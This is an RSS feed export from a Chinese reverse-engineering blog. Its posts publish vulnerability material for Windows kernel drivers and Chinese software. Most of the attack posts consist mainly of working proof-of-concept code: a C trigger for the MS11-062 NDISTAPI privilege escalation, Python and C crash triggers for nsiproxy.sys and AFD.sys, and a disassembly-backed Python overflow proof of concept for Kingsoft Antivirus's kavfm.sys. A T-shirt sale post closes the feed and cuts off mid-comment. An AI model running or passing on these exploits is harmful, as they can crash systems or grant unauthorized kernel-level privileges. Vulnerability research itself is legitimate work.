<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net</title>
	<atom:link href="http://www.softrce.net/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 13 Sep 2011 06:58:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</title>
		<link>http://www.softrce.net/archives/405</link>
		<comments>http://www.softrce.net/archives/405#comments</comments>
		<pubDate>Tue, 13 Sep 2011 06:10:07 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[MS11-062]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=405</guid>
		<description><![CDATA[#include “stdio.h” #include “windows.h” #define NTSTATUS int int main(int argc, char* argv[]) { PULONG  pShellcode; char InputBuffer[4]={0}; ULONG  AllocationSize,dwReturnSize; HANDLE dev_handle; SC_HANDLE hscmHandle = NULL; SC_HANDLE hscDriver = NULL; PROCESS_INFORMATION pi; STARTUPINFOA stStartup; printf(“\n Microsoft Ndistapi.sys Local Privilege Escalation Vulnerability Exploit \n\n”); dev_handle = CreateFile(“\\\\.\\NDISTAPI” ,GENERIC_READ &#124; GENERIC_WRITE ,0,NULL,CREATE_ALWAYS ,0,0); DeviceIoControl( dev_handle, 0x8fff23d4, InputBuffer,4,(PVOID)0&#215;80000000,0,&#38;dwReturnSize, NULL); [...]]]></description>
			<content:encoded><![CDATA[<p>#include “stdio.h”<br />
#include “windows.h”</p>
<p>#define NTSTATUS int</p>
<p><span id="more-405"></span>int main(int argc, char* argv[])<br />
{</p>
<p>PULONG  pShellcode;<br />
char InputBuffer[4]={0};<br />
ULONG  AllocationSize,dwReturnSize;<br />
HANDLE dev_handle;</p>
<p>SC_HANDLE hscmHandle = NULL;<br />
SC_HANDLE hscDriver = NULL;</p>
<p>PROCESS_INFORMATION pi;<br />
STARTUPINFOA stStartup;</p>
<p>printf(“\n Microsoft Ndistapi.sys Local Privilege Escalation Vulnerability Exploit \n\n”);</p>
<p>dev_handle = CreateFile(“\\\\.\\NDISTAPI” ,GENERIC_READ | GENERIC_WRITE ,0,NULL,CREATE_ALWAYS ,0,0);</p>
<p>DeviceIoControl( dev_handle, 0x8fff23d4, InputBuffer,4,(PVOID)0&#215;80000000,0,&amp;dwReturnSize, NULL);</p>
<p>return 1;<br />
}</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/405">2011年09月13日</a>, ayarei writes: 顶~</li><li><a href="http://www.softrce.net/archives/405">2011年09月13日</a>, <a href='http://www.itxy.net' rel='external nofollow' class='url'>Frears</a> writes: 必须顶。</li><li><a href="http://www.softrce.net/archives/405">2011年10月17日</a>, 123 writes: 你好fsdfsdf</li><li><a href="http://www.softrce.net/archives/405">2012年01月3日</a>, <a href='http://www' rel='external nofollow' class='url'>admin</a> writes: 为什么就是看不懂</li><li><a href="http://www.softrce.net/archives/405">2012年02月3日</a>, <a href='http://goo.gl/99D2t' rel='external nofollow' class='url'>校园自助打印复印</a> writes: 代码什么的最烦人了</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/381" rel="bookmark" title="Permanent Link: Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/18" title="今天又地震～～">今天又地震～～</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2008年10月22日 -- <a href="http://www.softrce.net/archives/16" title="绕过主动防御的代码注入方法一点思考">绕过主动防御的代码注入方法一点思考</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2010年05月12日 -- <a href="http://www.softrce.net/archives/312" title="RdpDr.sys Bug Check 0X7E{0xC0000005}">RdpDr.sys Bug Check 0X7E{0xC0000005}</a></li><li>2008年09月30日 -- <a href="http://www.softrce.net/archives/10" title="[国庆礼]Exploiting Windows Device Drivers译文版">[国庆礼]Exploiting Windows Device Drivers译文版</a></li><li>2010年02月21日 -- <a href="http://www.softrce.net/archives/256" title="Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/63" title="Native Application之键盘处理">Native Application之键盘处理</a></li><li>2009年05月5日 -- <a href="http://www.softrce.net/archives/126" title="[玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/405/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</title>
		<link>http://www.softrce.net/archives/392</link>
		<comments>http://www.softrce.net/archives/392#comments</comments>
		<pubDate>Wed, 18 May 2011 07:40:11 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=392</guid>
		<description><![CDATA[#!/usr/bin/python from ctypes import * kernel32 = windll.kernel32 Psapi    = windll.Psapi if __name__ == &#8216;__main__&#8217;: GENERIC_READ  = 0&#215;80000000 GENERIC_WRITE = 0&#215;40000000 OPEN_EXISTING = 0&#215;3 CREATE_ALWAYS = 0&#215;2 SYM_NAME   = “\\\\.\\Nsi” dwReturn      = c_ulong() out_buff      = ” in_buff       = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00&#8243; “\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00&#8243; “\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00&#8243; “\x38\xfa\x78\x00\x0c\x00\x00\x00&#8243;) handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ &#124; GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None) dev_ioct = kernel32.DeviceIoControl(handle, [...]]]></description>
			<content:encoded><![CDATA[<p>#!/usr/bin/python<br />
from ctypes import *</p>
<p>kernel32 = windll.kernel32<span id="more-392"></span><br />
Psapi    = windll.Psapi</p>
<p>if __name__ == &#8216;__main__&#8217;:<br />
GENERIC_READ  = 0&#215;80000000<br />
GENERIC_WRITE = 0&#215;40000000<br />
OPEN_EXISTING = 0&#215;3<br />
CREATE_ALWAYS = 0&#215;2</p>
<p>SYM_NAME   = “\\\\.\\Nsi”<br />
dwReturn      = c_ulong()<br />
out_buff      = ”<br />
in_buff       = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00&#8243;<br />
“\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00&#8243;<br />
“\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00&#8243;<br />
“\x38\xfa\x78\x00\x0c\x00\x00\x00&#8243;)</p>
<p>handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)<br />
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/381" rel="bookmark" title="Permanent Link: Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li><a href="http://www.softrce.net/archives/19" rel="bookmark" title="Permanent Link: [转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/392/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</title>
		<link>http://www.softrce.net/archives/381</link>
		<comments>http://www.softrce.net/archives/381#comments</comments>
		<pubDate>Fri, 08 Apr 2011 03:04:58 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[windows xp]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=381</guid>
		<description><![CDATA[//////////////////////////////////////////////////////////////////////////// // // Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit // ///////////////////////////////////////////////////////////////////////////// #include &#60;stdio.h&#62; #include &#60;Winsock2.h&#62; #pragma comment (lib, “ws2_32.lib”) BYTE buf[]={ 0xac,0xfd,0xd3,0&#215;00,0&#215;01,0&#215;00,0&#215;00,0&#215;00,0&#215;00,0&#215;00, 0&#215;00,0&#215;00,0&#215;20,0&#215;00,0&#215;00,0&#215;00,0xe8,0xfd,0xd3,0&#215;00, 0xb8,0xfd,0xd3,0&#215;00,0xf8,0xfd,0xd3,0&#215;00,0xc4,0xfd, 0xd3,0&#215;00,0xcc,0xfd,0xd3,0&#215;00}; int main( ) { WSADATA ws; SOCKET tcp_socket; struct sockaddr_in peer; ULONG  dwReturnSize; printf(“\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n”); printf(“\t Create by Lufeng [...]]]></description>
			<content:encoded><![CDATA[<p>////////////////////////////////////////////////////////////////////////////<br />
//<br />
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit<br />
//<br />
/////////////////////////////////////////////////////////////////////////////<span id="more-381"></span></p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;Winsock2.h&gt;</p>
<p>#pragma comment (lib, “ws2_32.lib”)</p>
<p>BYTE buf[]={<br />
0xac,0xfd,0xd3,0&#215;00,0&#215;01,0&#215;00,0&#215;00,0&#215;00,0&#215;00,0&#215;00,<br />
0&#215;00,0&#215;00,0&#215;20,0&#215;00,0&#215;00,0&#215;00,0xe8,0xfd,0xd3,0&#215;00,<br />
0xb8,0xfd,0xd3,0&#215;00,0xf8,0xfd,0xd3,0&#215;00,0xc4,0xfd,<br />
0xd3,0&#215;00,0xcc,0xfd,0xd3,0&#215;00};</p>
<p>int main( )<br />
{<br />
WSADATA ws;</p>
<p>SOCKET tcp_socket;<br />
struct sockaddr_in peer;<br />
ULONG  dwReturnSize;</p>
<p>printf(“\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n”);<br />
printf(“\t Create by Lufeng Li of Neusoft Corporation. \n\n”);</p>
<p>WSAStartup(0&#215;0202,&amp;ws);</p>
<p>peer.sin_family = AF_INET;<br />
peer.sin_port = htons( 0x01bd );<br />
peer.sin_addr.s_addr = inet_addr( “127.0.0.1&#8243; );</p>
<p>tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM</p>
<p>if ( connect(tcp_socket, (struct sockaddr*) &amp;peer, sizeof(struct sockaddr_in)) )<br />
{<br />
printf(“connect error\n”);<br />
exit(0);<br />
}</p>
<p>DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0&#215;24,buf,0&#215;24,&amp;dwReturnSize, NULL);</p>
<p>return TRUE;<br />
}</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/381">2011年04月22日</a>, gz1x writes: AFD里问题很多，不仅仅是Dos，可以本地提权。</li><li><a href="http://www.softrce.net/archives/381">2011年04月23日</a>, dge writes: @gz1x, 搞afd搞了一段时间了，到现在为止只弄出来这个，还得努力啊。</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/381/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>QQplayer Memory Corruption Vulnerability</title>
		<link>http://www.softrce.net/archives/369</link>
		<comments>http://www.softrce.net/archives/369#comments</comments>
		<pubDate>Mon, 21 Mar 2011 02:58:19 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[QQplayer]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=369</guid>
		<description><![CDATA[QQplayer Memory Corruption Vulnerability

影响版本：&#60;= QQplayer 2.8

一个符号扩展的问题出现在MP4Splitter.dll中。]]></description>
			<content:encoded><![CDATA[<p>影响版本：&lt;= QQplayer 2.8</p>
<p>一个符号扩展的问题出现在MP4Splitter.dll中。<span id="more-369"></span></p>
<p>.text:10023EFF                 mov     eax, [esi]<br />
.text:10023F01                 push    0<br />
.text:10023F03                 push    20h<br />
.text:10023F05                 lea     ecx, [esp+40h+buff]<br />
.text:10023F09                 push    ecx<br />
.text:10023F0A                 mov     edx, [eax+0Ch]<br />
.text:10023F0D                 mov     ecx, esi<br />
.text:10023F0F                 call    edx                  ;从文件获取数据。<br />
.text:10023F11                 movsx   eax, [esp+38h+buff]  ;符号扩展产生一个类似0xFFFFFFFX的值。<br />
.text:10023F16                 cmp     eax, 20h<br />
.text:10023F19                 jge     short loc_10023F2E   ;检查被绕过<br />
.text:10023F1B                 mov     [esp+eax+38h+buf], 0 ;恶意数据被用于指针操作，导致栈中的指针数据被破坏。<br />
.text:10023F20                 lea     eax, [esp+38h+buf]<br />
.text:10023F24                 push    eax<br />
.text:10023F25                 lea     ecx, [edi+5Ch]</p>
<p>POC:不放了。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/14" rel="bookmark" title="Permanent Link: Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by/3.0/"><img src="http://i.creativecommons.org/l/by/3.0//88x31.png" alt="Creative Commons Attribution 3.0 Unported" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by/3.0/">Creative Commons Attribution 3.0 Unported</a>.</p>
</div><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/369/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>金山毒霸2011内核溢出漏洞</title>
		<link>http://www.softrce.net/archives/337</link>
		<comments>http://www.softrce.net/archives/337#comments</comments>
		<pubDate>Mon, 13 Sep 2010 10:04:01 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=337</guid>
		<description><![CDATA[这个漏洞是我7月份报告给金山的，漏洞存在于kavfm.sys中，它没有正确处理用户提交的参数，因此导致了这个溢出漏洞。
在新版本中，这个驱动被去掉了。

影响版本：Kingsoft Antivirus &#60;=v2010.04.26.648]]></description>
			<content:encoded><![CDATA[<p>这个漏洞是我7月份报告给金山的，漏洞存在于kavfm.sys中，它没有正确处理用户提交的参数，因此导致了这个溢出漏洞。<br />
在新版本中，这个驱动被去掉了。<span id="more-337"></span></p>
<p>影响版本：Kingsoft Antivirus &lt;=v2010.04.26.648</p>
<p>漏洞分析:</p>
<p>.text:00012160<br />
.text:00012160 sub_12160       proc near               ; CODE XREF: sub_129B0+2Fp<br />
.text:00012160<br />
.text:00012160 var_44          = byte ptr -44h<br />
.text:00012160 var_4           = dword ptr -4<br />
.text:00012160 arg_4           = dword ptr  0Ch<br />
.text:00012160<br />
.text:00012160                 push    ebp<br />
.text:00012161                 mov     ebp, esp<br />
.text:00012163                 mov     ecx, [ebp+arg_4]<br />
.text:00012166                 mov     eax, [ecx+60h]<br />
.text:00012169                 sub     esp, 44h<br />
.text:0001216C                 push    ebx<br />
.text:0001216D                 mov     ebx, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]<br />
.text:00012170                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]<br />
.text:00012173                 push    esi<br />
.text:00012174                 add     eax, 7FFCFFFCh<br />
.text:00012179                 xor     esi, esi<br />
.text:0001217B                 cmp     eax, 28h        ; switch 41 cases<br />
.text:0001217E                 push    edi<br />
.text:0001217F                 mov     edi, [ecx+IRP.AssociatedIrp.SystemBuffer]<br />
.text:00012182                 ja      loc_122E0       ; default<br />
.text:00012182                                         ; jumptable 0001218F cases 1-3,5-7,9-11,13-15,17-19,21-23,25-27,29-31,33-35,37-39<br />
.text:00012188                 movzx   eax, ds:byte_1231C[eax]<br />
.text:0001218F                 jmp     ds:off_122EC[eax*4] ; switch jump<br />
.text:00012196<br />
.text:00012196 loc_12196:                              ; DATA XREF: .text:off_122ECo<br />
.text:00012196                 push    ebx             ; 拷贝长度是InputBufferLength，是我们可控制的。<br />
.text:00012197                 lea     ecx, [ebp+var_44];<br />
.text:0001219A                 push    edi             ; 如果这个串大于72字节就可以覆盖到返回地址。<br />
.text:0001219B                 push    ecx             ; char *<br />
.text:0001219C                 call    strncpy<br />
.text:000121A1                 add     esp, 0Ch<br />
.text:000121A4                 lea     edx, [ebp+var_44]<br />
.text:000121A7                 push    edx<br />
.text:000121A8                 mov     [ebp+ebx+var_44], 0<br />
.text:000121AD                 call    sub_15410<br />
.text:000121B2                 pop     edi<br />
.text:000121B3                 mov     esi, eax<br />
.text:000121B5                 pop     esi<br />
.text:000121B6                 pop     ebx<br />
.text:000121B7                 mov     esp, ebp<br />
.text:000121B9                 pop     ebp<br />
.text:000121BA                 retn    8</p>
<p>poc:</p>
<p>#!/usr/bin/python</p>
<p>from ctypes import *</p>
<p>kernel32 = windll.kernel32<br />
Psapi    = windll.Psapi</p>
<p>if __name__ == &#8217;__main__&#8217;:<br />
GENERIC_READ  = 0&#215;80000000<br />
GENERIC_WRITE = 0&#215;40000000<br />
OPEN_EXISTING = 0&#215;3<br />
CREATE_ALWAYS = 0&#215;2</p>
<p>DEVICE_NAME   = ”\\\\.\\kavfm”<br />
dwReturn      = c_ulong()<br />
out_size      = 1024<br />
in_size       = 1024<br />
in_data       =”<br />
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,<br />
0, None, CREATE_ALWAYS, 0, None)<br />
in_data=1024*&#8217;\x80&#8242;<br />
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0&#215;80030004, in_data,500, 0, 0,byref(dwReturn), None)</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/337">2010年09月13日</a>, mj0011 writes: 金山的内核溢出少说有几十个，懒得爆了</li><li><a href="http://www.softrce.net/archives/337">2010年09月14日</a>, dge writes: @mj0011, 还是MJ境界高。</li><li><a href="http://www.softrce.net/archives/337">2010年12月27日</a>, <a href='http://www.jiami.net' rel='external nofollow' class='url'>vmprotect</a> writes: 金山毒霸免费了，这个溢出漏洞被人利用的话，影响范围就太大了。</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/2.5/cn/"><img src="http://i.creativecommons.org/l/by-nc-nd/2.5/cn/88x31.png" alt="Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/2.5/cn/">Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland</a>.</p>
</div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/63" title="Native Application之键盘处理">Native Application之键盘处理</a></li><li>2009年04月26日 -- <a href="http://www.softrce.net/archives/1" title="SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2009年01月10日 -- <a href="http://www.softrce.net/archives/21" title="容易被忽略的IDA快捷键">容易被忽略的IDA快捷键</a></li><li>2011年09月13日 -- <a href="http://www.softrce.net/archives/405" title="Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2010年05月12日 -- <a href="http://www.softrce.net/archives/312" title="RdpDr.sys Bug Check 0X7E{0xC0000005}">RdpDr.sys Bug Check 0X7E{0xC0000005}</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/337/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SoftRCE官方T恤开始订购了~</title>
		<link>http://www.softrce.net/archives/320</link>
		<comments>http://www.softrce.net/archives/320#comments</comments>
		<pubDate>Tue, 03 Aug 2010 09:55:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=320</guid>
		<description><![CDATA[样式： 有需求的朋友可以发邮件到robinh00d#sina.cn或lewis_amu#126.com 大小参考： S 小号 165 M 中号 170 L 大号 175 XL 特大 180 xxl最大号185 xxxl特大号190 Comments2010年08月3日, Lewis writes: 更正下 Reverse the fucking *! 修改为 Reverse the f**king *!2010年08月8日, Shawn writes: Lewis啥时候发货?等不急了...........2010年09月3日, Shawn writes: 这衣服不错,如果还要印的话说一声,估计这边还有人要买.2010年09月9日, 阿木 writes: 围观黑客2010年09月9日, 阿木 writes: 兄台交换个链接吧！！http://blog.5hoo.com2010年09月9日, 悠语 writes: 写的很好，关注~~！Related posts:SoftRCE再次回归上线SoftRCE的Mail Server开通了！[玩笑]某人不是会坐在被告席上吧？Copyright &#169; 2008 This feed is for personal, non-commercial [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-320"></span>样式：<br />
<img src="http://www.softrce.net/wp-content/uploads/2010/08/1.jpg" alt="" title="Tshirt1" width="643" height="367" class="alignnone size-full wp-image-321" /></p>
<p><img src="http://www.softrce.net/wp-content/uploads/2010/08/2.jpg" alt="" title="2" width="618" height="353" class="alignnone size-full wp-image-322" /></p>
<p>有需求的朋友可以发邮件到robinh00d#sina.cn或lewis_amu#126.com<br />
大小参考：<br />
S 小号 165<br />
M 中号 170<br />
L 大号 175<br />
XL 特大 180<br />
xxl最大号185<br />
xxxl特大号190</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/320">2010年08月3日</a>, Lewis writes: 更正下 
Reverse the fucking *! 
修改为
